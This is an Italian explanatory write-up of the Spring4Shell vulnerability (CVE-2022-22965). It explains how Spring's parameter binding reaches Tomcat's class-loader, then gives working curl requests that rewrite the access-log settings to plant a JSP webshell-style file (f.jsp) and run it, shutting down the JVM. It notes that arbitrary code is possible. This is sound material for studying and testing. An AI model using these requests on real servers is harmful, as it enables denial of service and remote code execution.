
Dimostrazione minimale dell'exploit Spring4Shell (CVE-2022-22965) che prende di mira Tomcat tramite manipolazione del class-loader, con una catena di attacco passo-passo basata su curl per test di penetrazione educativi.
Al momento della scrittura, il binding dei parametri di richiesta di spring-web (WebDataBinder), per impostazione predefinita consente di accedere al metodo getClass() di un oggetto.
Si tratta di un dettaglio implementativo interno specifico della jvm (secondo me non dovrebbe essere esposto).
In quanto tale, le sue funzionalità possono cambiare ed essere ampliate con le future versioni della jvm.
Ciò rappresenta un onere continuo per i manutentori, che cercano di prevedere modi creativi in cui attori malintenzionati
potrebbero sfruttare questo potente accesso in modi nefasti.
In questa particolare CVE, la causa era un metodo Class::getModule() introdotto in Java 9. Esso ha aperto un accesso
non protetto a un class-loader.
Nell'esempio seguente l'attaccante lo usa per riconfigurare il logger di accesso di Tomcat. Normalmente scrive brevi informazioni su
ogni richiesta ricevuta dal server in un file di log. La proprietà pattern definisce quali informazioni vengono scritte,
directory specifica dove deve essere posizionato il file di log, prefix, fileDateFormat e specificano quale dovrebbe essere il nome del file.
suffixLa richiesta seguente ha come target un endpoint POST della nostra applicazione vulnerabile poc-0. Riconfigura il logger per scrivere
una riga <%{e}iSystem.exit(0);%{e}i> per ogni richiesta gestita, in un file f.jsp nella directory webapps/ROOT,
dove %{e}i è un segnaposto per il valore dell'header e della richiesta.
Questo è un uso inaspettato/creativo del logger; il resto è un normale server applicativo JSP e Tomcat in azione.
curl -v -H 'e:%' \
-d 'class.module.classLoader.resources.context.parent.pipeline.first.pattern=<%25%7be%7diSystem.exit(0);%25%7be%7di>' \
-d 'class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT' \
-d 'class.module.classLoader.resources.context.parent.pipeline.first.prefix=f' \
-d 'class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=' \
-d 'class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp' \
http://container-ip:8080/poc-0/
Dopo qualche istante, verrà creato un file f.jsp, prelevato da Tomcat, compilato ed esposto per servire il traffico.
La richiesta seguente lo invoca, eseguendo un codice incorporato System.exit(0); e fermando la jvm su cui sta girando.
curl -v http://container-ip:8080/f.jsp
Questo è un esempio di DoS, ma System.exit(0); è un normale codice Java, quindi l'attaccante può fare molto di più.